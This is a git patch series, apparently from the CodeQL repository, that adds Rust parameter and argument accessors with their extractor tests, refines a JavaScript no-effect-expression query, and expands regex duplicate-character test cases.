gen_closure_expr.rs:7:5:7:27 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | hasBody: | yes | hasClosureBinder: | no | isAsync: | yes | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | -| gen_closure_expr.rs:8:6:9:15 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | -| gen_closure_expr.rs:10:6:11:23 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | yes | hasRetType: | no | +| gen_closure_expr.rs:5:5:5:13 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | getNumberOfParams: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | +| gen_closure_expr.rs:6:5:6:34 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | getNumberOfParams: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | yes | isStatic: | no | hasRetType: | yes | +| gen_closure_expr.rs:7:5:7:27 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 0 | getNumberOfParams: | 2 | hasBody: | yes | hasClosureBinder: | no | isAsync: | yes | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | +| gen_closure_expr.rs:8:6:9:15 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 1 | getNumberOfParams: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | no | hasRetType: | no | +| gen_closure_expr.rs:10:6:11:23 | \|...\| ... | hasParamList: | yes | getNumberOfAttrs: | 1 | getNumberOfParams: | 1 | hasBody: | yes | hasClosureBinder: | no | isAsync: | no | isConst: | no | isGen: | no | isMove: | no | isStatic: | yes | hasRetType: | no | diff --git a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql index b4b3dddc679..6a5536c5be1 100644 --- a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql +++ b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql @@ -3,13 +3,15 @@ import codeql.rust.elements import TestUtils from - ClosureExpr x, string hasParamList, int getNumberOfAttrs, string hasBody, string hasClosureBinder, - string isAsync, string isConst, string isGen, string isMove, string isStatic, string hasRetType + ClosureExpr x, string hasParamList, int getNumberOfAttrs, int getNumberOfParams, string hasBody, + string hasClosureBinder, string isAsync, string isConst, string isGen, string isMove, + string isStatic, string hasRetType where toBeTested(x) and not x.isUnknown() and (if x.hasParamList() then hasParamList = "yes" else hasParamList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and + getNumberOfParams = x.getNumberOfParams() and (if x.hasBody() then hasBody = "yes" else hasBody = "no") and (if x.hasClosureBinder() then hasClosureBinder = "yes" else hasClosureBinder = "no") and (if x.isAsync() then isAsync = "yes" else isAsync = "no") and @@ -18,6 +20,7 @@ where (if x.isMove() then isMove = "yes" else isMove = "no") and (if x.isStatic() then isStatic = "yes" else isStatic = "no") and if x.hasRetType() then hasRetType = "yes" else hasRetType = "no" -select x, "hasParamList:", hasParamList, "getNumberOfAttrs:", getNumberOfAttrs, "hasBody:", hasBody, - "hasClosureBinder:", hasClosureBinder, "isAsync:", isAsync, "isConst:", isConst, "isGen:", isGen, - "isMove:", isMove, "isStatic:", isStatic, "hasRetType:", hasRetType +select x, "hasParamList:", hasParamList, "getNumberOfAttrs:", getNumberOfAttrs, + "getNumberOfParams:", getNumberOfParams, "hasBody:", hasBody, "hasClosureBinder:", + hasClosureBinder, "isAsync:", isAsync, "isConst:", isConst, "isGen:", isGen, "isMove:", isMove, + "isStatic:", isStatic, "hasRetType:", hasRetType diff --git a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.expected b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.expected new file mode 100644 index 00000000000..29be6ae9ef0 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.expected @@ -0,0 +1,6 @@ +| gen_closure_expr.rs:5:5:5:13 | \|...\| ... | 0 | gen_closure_expr.rs:5:6:5:6 | ... | +| gen_closure_expr.rs:6:5:6:34 | \|...\| ... | 0 | gen_closure_expr.rs:6:11:6:16 | ...: i32 | +| gen_closure_expr.rs:7:5:7:27 | \|...\| ... | 0 | gen_closure_expr.rs:7:12:7:17 | ...: i32 | +| gen_closure_expr.rs:7:5:7:27 | \|...\| ... | 1 | gen_closure_expr.rs:7:20:7:20 | ... | +| gen_closure_expr.rs:8:6:9:15 | \|...\| ... | 0 | gen_closure_expr.rs:9:6:9:6 | ... | +| gen_closure_expr.rs:10:6:11:23 | \|...\| ... | 0 | gen_closure_expr.rs:11:14:11:14 | ... | diff --git a/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql new file mode 100644 index 00000000000..06cef03f206 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ClosureExpr x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getParam(index) diff --git a/rust/ql/test/extractor-tests/generated/Function/Function.expected b/rust/ql/test/extractor-tests/generated/Function/Function.expected index d30ef684493..117aad5d293 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function.expected +++ b/rust/ql/test/extractor-tests/generated/Function/Function.expected @@ -1,2 +1,2 @@ -| gen_function.rs:3:1:4:38 | fn foo | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | yes | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | yes | hasVisibility: | no | hasWhereClause: | no | -| gen_function.rs:7:5:7:13 | fn bar | hasParamList: | yes | getNumberOfAttrs: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | no | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_function.rs:3:1:4:38 | fn foo | hasParamList: | yes | getNumberOfAttrs: | 0 | getNumberOfParams: | 1 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | yes | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | yes | hasVisibility: | no | hasWhereClause: | no | +| gen_function.rs:7:5:7:13 | fn bar | hasParamList: | yes | getNumberOfAttrs: | 0 | getNumberOfParams: | 0 | hasExtendedCanonicalPath: | yes | hasCrateOrigin: | yes | hasAttributeMacroExpansion: | no | hasAbi: | no | hasBody: | no | hasGenericParamList: | no | isAsync: | no | isConst: | no | isDefault: | no | isGen: | no | isUnsafe: | no | hasName: | yes | hasRetType: | no | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Function/Function.ql b/rust/ql/test/extractor-tests/generated/Function/Function.ql index 3c368187c29..cd9875a2373 100644 --- a/rust/ql/test/extractor-tests/generated/Function/Function.ql +++ b/rust/ql/test/extractor-tests/generated/Function/Function.ql @@ -3,15 +3,17 @@ import codeql.rust.elements import TestUtils from - Function x, string hasParamList, int getNumberOfAttrs, string hasExtendedCanonicalPath, - string hasCrateOrigin, string hasAttributeMacroExpansion, string hasAbi, string hasBody, - string hasGenericParamList, string isAsync, string isConst, string isDefault, string isGen, - string isUnsafe, string hasName, string hasRetType, string hasVisibility, string hasWhereClause + Function x, string hasParamList, int getNumberOfAttrs, int getNumberOfParams, + string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAttributeMacroExpansion, + string hasAbi, string hasBody, string hasGenericParamList, string isAsync, string isConst, + string isDefault, string isGen, string isUnsafe, string hasName, string hasRetType, + string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and (if x.hasParamList() then hasParamList = "yes" else hasParamList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and + getNumberOfParams = x.getNumberOfParams() and ( if x.hasExtendedCanonicalPath() then hasExtendedCanonicalPath = "yes" @@ -36,8 +38,9 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasParamList:", hasParamList, "getNumberOfAttrs:", getNumberOfAttrs, - "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "hasAbi:", hasAbi, "hasBody:", hasBody, - "hasGenericParamList:", hasGenericParamList, "isAsync:", isAsync, "isConst:", isConst, - "isDefault:", isDefault, "isGen:", isGen, "isUnsafe:", isUnsafe, "hasName:", hasName, - "hasRetType:", hasRetType, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause + "getNumberOfParams:", getNumberOfParams, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, + "hasCrateOrigin:", hasCrateOrigin, "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, + "hasAbi:", hasAbi, "hasBody:", hasBody, "hasGenericParamList:", hasGenericParamList, "isAsync:", + isAsync, "isConst:", isConst, "isDefault:", isDefault, "isGen:", isGen, "isUnsafe:", isUnsafe, + "hasName:", hasName, "hasRetType:", hasRetType, "hasVisibility:", hasVisibility, + "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Function/Function_getParam.expected b/rust/ql/test/extractor-tests/generated/Function/Function_getParam.expected new file mode 100644 index 00000000000..6a7340509a7 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Function/Function_getParam.expected @@ -0,0 +1 @@ +| gen_function.rs:3:1:4:38 | fn foo | 0 | gen_function.rs:4:8:4:13 | ...: u32 | diff --git a/rust/ql/test/extractor-tests/generated/Function/Function_getParam.ql b/rust/ql/test/extractor-tests/generated/Function/Function_getParam.ql new file mode 100644 index 00000000000..c936ea99da7 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Function/Function_getParam.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Function x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getParam(index) diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected index 5862cd94081..516e47d8b39 100644 --- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.expected @@ -1,2 +1,2 @@ -| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | no | hasIdentifier: | yes | hasReceiver: | yes | -| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | yes | hasIdentifier: | yes | hasReceiver: | yes | +| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | no | hasIdentifier: | yes | hasReceiver: | yes | +| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | hasArgList: | yes | getNumberOfAttrs: | 0 | getNumberOfArgs: | 1 | hasResolvedPath: | no | hasResolvedCrateOrigin: | no | hasGenericArgList: | yes | hasIdentifier: | yes | hasReceiver: | yes | diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql index d0b082f4523..518d3dee36e 100644 --- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql @@ -3,13 +3,15 @@ import codeql.rust.elements import TestUtils from - MethodCallExpr x, string hasArgList, int getNumberOfAttrs, string hasResolvedPath, - string hasResolvedCrateOrigin, string hasGenericArgList, string hasIdentifier, string hasReceiver + MethodCallExpr x, string hasArgList, int getNumberOfAttrs, int getNumberOfArgs, + string hasResolvedPath, string hasResolvedCrateOrigin, string hasGenericArgList, + string hasIdentifier, string hasReceiver where toBeTested(x) and not x.isUnknown() and (if x.hasArgList() then hasArgList = "yes" else hasArgList = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and + getNumberOfArgs = x.getNumberOfArgs() and (if x.hasResolvedPath() then hasResolvedPath = "yes" else hasResolvedPath = "no") and ( if x.hasResolvedCrateOrigin() @@ -19,6 +21,7 @@ where (if x.hasGenericArgList() then hasGenericArgList = "yes" else hasGenericArgList = "no") and (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and if x.hasReceiver() then hasReceiver = "yes" else hasReceiver = "no" -select x, "hasArgList:", hasArgList, "getNumberOfAttrs:", getNumberOfAttrs, "hasResolvedPath:", - hasResolvedPath, "hasResolvedCrateOrigin:", hasResolvedCrateOrigin, "hasGenericArgList:", - hasGenericArgList, "hasIdentifier:", hasIdentifier, "hasReceiver:", hasReceiver +select x, "hasArgList:", hasArgList, "getNumberOfAttrs:", getNumberOfAttrs, "getNumberOfArgs:", + getNumberOfArgs, "hasResolvedPath:", hasResolvedPath, "hasResolvedCrateOrigin:", + hasResolvedCrateOrigin, "hasGenericArgList:", hasGenericArgList, "hasIdentifier:", hasIdentifier, + "hasReceiver:", hasReceiver diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.expected b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.expected new file mode 100644 index 00000000000..36af4e22c50 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.expected @@ -0,0 +1,2 @@ +| gen_method_call_expr.rs:5:5:5:13 | x.foo(...) | 0 | gen_method_call_expr.rs:5:11:5:12 | 42 | +| gen_method_call_expr.rs:6:5:6:25 | x.foo(...) | 0 | gen_method_call_expr.rs:6:23:6:24 | 42 | diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql new file mode 100644 index 00000000000..58529cebfe5 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from MethodCallExpr x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getArg(index) diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index c6ab581d7ca..1311522fca0 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -226,6 +226,7 @@ class CallExprBase(Expr): """ arg_list: optional["ArgList"] | child attrs: list["Attr"] | child + args: list["Expr"] | synth @annotate(CallExpr, replace_bases={Expr: CallExprBase}, cfg=True) diff --git a/rust/schema/prelude.py b/rust/schema/prelude.py index 6d356567d22..62334b2d864 100644 --- a/rust/schema/prelude.py +++ b/rust/schema/prelude.py @@ -73,6 +73,7 @@ class Callable(AstNode): """ param_list: optional["ParamList"] | child attrs: list["Attr"] | child + params: list["Param"] | synth class Addressable(AstNode): From e6056f9dfc150d3a83d278ca02ee7cbcecb517b4 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 10 Jun 2025 10:52:18 +0200 Subject: [PATCH 204/271] Update rust/ql/test/query-tests/security/CWE-770/main.rs Co-authored-by: Geoffrey White <40627776+geoffw0@users.noreply.github.com> --- rust/ql/test/query-tests/security/CWE-770/main.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/test/query-tests/security/CWE-770/main.rs b/rust/ql/test/query-tests/security/CWE-770/main.rs index bf39be7f564..656a6aa23a6 100644 --- a/rust/ql/test/query-tests/security/CWE-770/main.rs +++ b/rust/ql/test/query-tests/security/CWE-770/main.rs @@ -199,7 +199,7 @@ unsafe fn test_system_alloc(v: usize) { let l3 = std::alloc::Layout::array::(10).unwrap(); let m3 = std::alloc::System.alloc(l3); - let _ = std::alloc::System.realloc(m3, l3, v); // $ Alert[rust/uncontrolled-allocation-size] + let _ = std::alloc::System.realloc(m3, l3, v); // $ Alert[rust/uncontrolled-allocation-size]=arg1 let l4 = std::alloc::Layout::array::(10).unwrap(); let m4 = std::ptr::NonNull::::new(std::alloc::alloc(l4)).unwrap(); From c97da2eda582e4e16cf343fbd725cbbb85382929 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 10:42:54 +0200 Subject: [PATCH 205/271] Exclude expressions that are part of a conditional expression --- javascript/ql/lib/Expressions/ExprHasNoEffect.qll | 7 +++++++ .../Expressions/ExprHasNoEffect/ExprHasNoEffect.expected | 2 -- .../ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js | 6 ++++-- 3 files changed, 11 insertions(+), 4 deletions(-) diff --git a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll index d7744bc2136..7fdb1e00e2d 100644 --- a/javascript/ql/lib/Expressions/ExprHasNoEffect.qll +++ b/javascript/ql/lib/Expressions/ExprHasNoEffect.qll @@ -178,6 +178,13 @@ predicate hasNoEffect(Expr e) { e.getParent() = parent and e.getLastToken().getNextToken().getValue() = ":" ) and + // exclude expressions that are part of a conditional expression + not exists(ConditionalExpr cond | e.getParent() = cond | + e instanceof NullLiteral or + e instanceof GlobalVarAccess or + e.(NumberLiteral).getIntValue() = 0 or + e.(UnaryExpr).getOperator() = "void" + ) and // exclude the first statement of a try block not e = any(TryStmt stmt).getBody().getStmt(0).(ExprStmt).getExpr() and // exclude expressions that are alone in a file, and file doesn't contain a function. diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected index 2a792b42e19..f1beafe0037 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected @@ -12,6 +12,4 @@ | tst.js:50:3:50:36 | new Err ... age(e)) | This expression has no effect. | | tst.js:61:2:61:20 | o.trivialNonGetter1 | This expression has no effect. | | tst.js:77:24:77:24 | o | This expression has no effect. | -| tst.js:83:43:83:46 | null | This expression has no effect. | -| tst.js:84:42:84:45 | null | This expression has no effect. | | uselessfn.js:1:2:1:26 | functio ... d.");\\n} | This expression has no effect. | diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js index c9f3366c9ad..6de5ac9a236 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js @@ -80,6 +80,8 @@ function g() { consume(testSomeCondition() ? o : doSomethingDangerous()); - ("release" === isRelease() ? warning() : null); // $ Alert - "release" === isRelease() ? warning() : null; // $ Alert + ("release" === isRelease() ? warning() : null); + "release" === isRelease() ? warning() : null; + "release" === isRelease() ? warning() : 0; + "release" === isRelease() ? warning() : undefined; }; From 42a880bf58c6237af906be2a6f5dad28f39ce852 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 09:31:26 +0200 Subject: [PATCH 206/271] Improved test coverage for `js/regex/duplicate-in-character-class` --- ...uplicateCharacterInCharacterClass.expected | 36 +++++++++++++++ .../DuplicateCharacterInCharacterClass/tst.js | 23 +++++++++- .../tst_replace.js | 44 +++++++++++++++++++ 3 files changed, 101 insertions(+), 2 deletions(-) create mode 100644 javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst_replace.js diff --git a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.expected b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.expected index 1857b9cc4df..96f2cf20fd9 100644 --- a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.expected +++ b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.expected @@ -7,3 +7,39 @@ | tst.js:8:3:8:3 | a | Character 'a' is $@. | tst.js:8:5:8:5 | a | repeated in the same character class | | tst.js:9:3:9:6 | \\x0a | Character '\\x0a' is $@. | tst.js:9:7:9:10 | \\x0a | repeated in the same character class | | tst.js:10:3:10:8 | \\u000a | Character '\\u000a' is $@. | tst.js:10:9:10:10 | \\n | repeated in the same character class | +| tst.js:15:4:15:4 | \| | Character '\|' is $@. | tst.js:15:6:15:6 | \| | repeated in the same character class | +| tst.js:16:3:16:3 | : | Character ':' is $@. | tst.js:16:9:16:9 | : | repeated in the same character class | +| tst.js:17:4:17:4 | ^ | Character '^' is $@. | tst.js:17:11:17:11 | ^ | repeated in the same character class | +| tst.js:17:5:17:5 | s | Character 's' is $@. | tst.js:17:12:17:12 | s | repeated in the same character class | +| tst.js:17:6:17:6 | t | Character 't' is $@. | tst.js:17:13:17:13 | t | repeated in the same character class | +| tst.js:17:6:17:6 | t | Character 't' is $@. | tst.js:17:15:17:15 | t | repeated in the same character class | +| tst.js:17:6:17:6 | t | Character 't' is $@. | tst.js:17:19:17:19 | t | repeated in the same character class | +| tst.js:17:7:17:7 | y | Character 'y' is $@. | tst.js:17:20:17:20 | y | repeated in the same character class | +| tst.js:17:8:17:8 | l | Character 'l' is $@. | tst.js:17:21:17:21 | l | repeated in the same character class | +| tst.js:17:9:17:9 | e | Character 'e' is $@. | tst.js:17:22:17:22 | e | repeated in the same character class | +| tst.js:18:3:18:3 | . | Character '.' is $@. | tst.js:18:5:18:5 | . | repeated in the same character class | +| tst.js:19:6:19:6 | \u0645 | Character '\u0645' is $@. | tst.js:19:8:19:8 | \u0645 | repeated in the same character class | +| tst.js:22:3:22:4 | \\p | Character '\\p' is $@. | tst.js:22:15:22:16 | \\p | repeated in the same character class | +| tst.js:22:5:22:5 | { | Character '{' is $@. | tst.js:22:17:22:17 | { | repeated in the same character class | +| tst.js:22:7:22:7 | e | Character 'e' is $@. | tst.js:22:10:22:10 | e | repeated in the same character class | +| tst.js:22:8:22:8 | t | Character 't' is $@. | tst.js:22:9:22:9 | t | repeated in the same character class | +| tst.js:22:12:22:12 | } | Character '}' is $@. | tst.js:22:23:22:23 | } | repeated in the same character class | +| tst.js:22:13:22:13 | & | Character '&' is $@. | tst.js:22:14:22:14 | & | repeated in the same character class | +| tst.js:22:21:22:21 | I | Character 'I' is $@. | tst.js:22:22:22:22 | I | repeated in the same character class | +| tst.js:26:3:26:4 | \\p | Character '\\p' is $@. | tst.js:26:13:26:14 | \\p | repeated in the same character class | +| tst.js:26:5:26:5 | { | Character '{' is $@. | tst.js:26:15:26:15 | { | repeated in the same character class | +| tst.js:26:7:26:7 | e | Character 'e' is $@. | tst.js:26:10:26:10 | e | repeated in the same character class | +| tst.js:26:7:26:7 | e | Character 'e' is $@. | tst.js:26:17:26:17 | e | repeated in the same character class | +| tst.js:26:7:26:7 | e | Character 'e' is $@. | tst.js:26:28:26:28 | e | repeated in the same character class | +| tst.js:26:8:26:8 | t | Character 't' is $@. | tst.js:26:9:26:9 | t | repeated in the same character class | +| tst.js:26:11:26:11 | r | Character 'r' is $@. | tst.js:26:29:26:29 | r | repeated in the same character class | +| tst.js:26:12:26:12 | } | Character '}' is $@. | tst.js:26:30:26:30 | } | repeated in the same character class | +| tst.js:26:20:26:20 | m | Character 'm' is $@. | tst.js:26:26:26:26 | m | repeated in the same character class | +| tst.js:28:3:28:3 | / | Character '/' is $@. | tst.js:28:5:28:5 | / | repeated in the same character class | +| tst.js:30:4:30:4 | ^ | Character '^' is $@. | tst.js:30:5:30:5 | ^ | repeated in the same character class | +| tst.js:31:4:31:4 | * | Character '*' is $@. | tst.js:31:5:31:5 | * | repeated in the same character class | +| tst.js:33:5:33:5 | \| | Character '\|' is $@. | tst.js:33:6:33:7 | \\\| | repeated in the same character class | +| tst_replace.js:3:26:3:26 | n | Character 'n' is $@. | tst_replace.js:3:28:3:28 | n | repeated in the same character class | +| tst_replace.js:11:18:11:18 | n | Character 'n' is $@. | tst_replace.js:11:20:11:20 | n | repeated in the same character class | +| tst_replace.js:25:18:25:18 | n | Character 'n' is $@. | tst_replace.js:25:20:25:20 | n | repeated in the same character class | +| tst_replace.js:42:18:42:18 | n | Character 'n' is $@. | tst_replace.js:42:20:42:20 | n | repeated in the same character class | diff --git a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js index c87c7140a16..21342d75378 100644 --- a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js +++ b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js @@ -3,12 +3,31 @@ /[\uDC3A\uDC3C]/; /[??]/; // $ Alert /[\u003F\u003f]/; // $ Alert -/[\u003F?]/; // $ Alert +/[\u003F?]/; // $ Alert -- \u003F evaluates to ?, which is the same as ? in the character class /[\x3f\u003f]/; // $ Alert /[aaa]/; // $ Alert /[\x0a\x0a]/; // $ Alert -/[\u000a\n]/; // $ Alert +/[\u000a\n]/; // $ Alert -- \u000a evaluates to \n, which is the same as \n in the character class /[\u{ff}]/; /[\u{12340}-\u{12345}]/u; new RegExp("[\u{12340}-\u{12345}]", "u"); const regex = /\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+|\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)/gmv; +/[a|b|c]/; // $ Alert -- Reapted | character in character class, which has no special meaning in this context +/[:alnum:]/; // $ Alert -- JavaScript does not support POSIX character classes like `[:alnum:]` in regular expressions, thus characters in the class are treated as literals +/[(^style|^staticStyle)]/; // $ Alert +/[.x.]/i; // $ Alert -- Repeated . character in character class +/^[يفمأمسند]/i; // $ Alert -- م duplicate +/[\u{1F600}-\u{1F64F}]/u; +/[\p{Letter}&&\p{ASCII}]/v; // && is an intersection operator while /v flag is present +/[\p{Letter}&&\p{ASCII}]/; // $ Alert -- without /v flag, && is not a valid operator and treated as member of character class thus duplicate +/[\p{Decimal_Number}&&[0-9A-F]]/v; +/[\p{Letter}--[aeiouAEIOU]]/v; +/[\p{Letter}\p{Decimal_Number}]/v; // Union operation between two character classes only with /v flag +/[\p{Letter}\p{Decimal_Number}]/; // $ Alert -- without /v flag, this is not a valid operation and treated as member of character class thus duplicate +/[\[\]]/; +/[/[/]]/; // $ Alert +/[^^abc]/; // First `^` is a negation operator, second treated as literal `^` is a member of character class +/[^^^abc]/; // $ Alert -- Second and third `^` are treated as literals thus duplicates +/[^**]/; // $ Alert +/[-a-z]/; // Matches `-` and range `a-z` no duplicate +/^[:|\|]/ // $ Alert -- `|` is treated as a literal character in the character class, thus duplicate even with escape character diff --git a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst_replace.js b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst_replace.js new file mode 100644 index 00000000000..afd526007b0 --- /dev/null +++ b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst_replace.js @@ -0,0 +1,44 @@ +function reg(){ + const nonIdPattern = 'a-z'; + const basePattern = /[]/.source; // $ SPURIOUS:Alert + const finalPattern = basePattern.replace(//g, nonIdPattern); + console.log(finalPattern); + const regex2 = new RegExp(finalPattern); +} + +function reg1(){ + const nonIdPattern = 'a-z'; + const reg = /[]/; // $ SPURIOUS:Alert + const basePattern = reg.source; + const finalPattern = basePattern.replace(//g, nonIdPattern); + console.log(finalPattern); + const regex2 = new RegExp(finalPattern); +} + +function replacer(reg1, reg2){ + const basePattern = reg1.source; + const finalPattern = basePattern.replace(//g, reg2); + return new RegExp(finalPattern); +} +function reg2(){ + const nonIdPattern = 'a-z'; + const reg = /[]/; // $ SPURIOUS:Alert + replacer(reg, nonIdPattern); +} + + +function replacer3(str, reg2){ + const finalPattern = str.replace(//g, reg2); + return new RegExp(finalPattern); +} + +function replacer2(reg1, reg2){ + const basePattern = reg1.source; + return replacer3(basePattern, reg2); +} + +function reg3(){ + const nonIdPattern = 'a-z'; + const reg = /[]/; // $ SPURIOUS:Alert + replacer2(reg, nonIdPattern); +} From 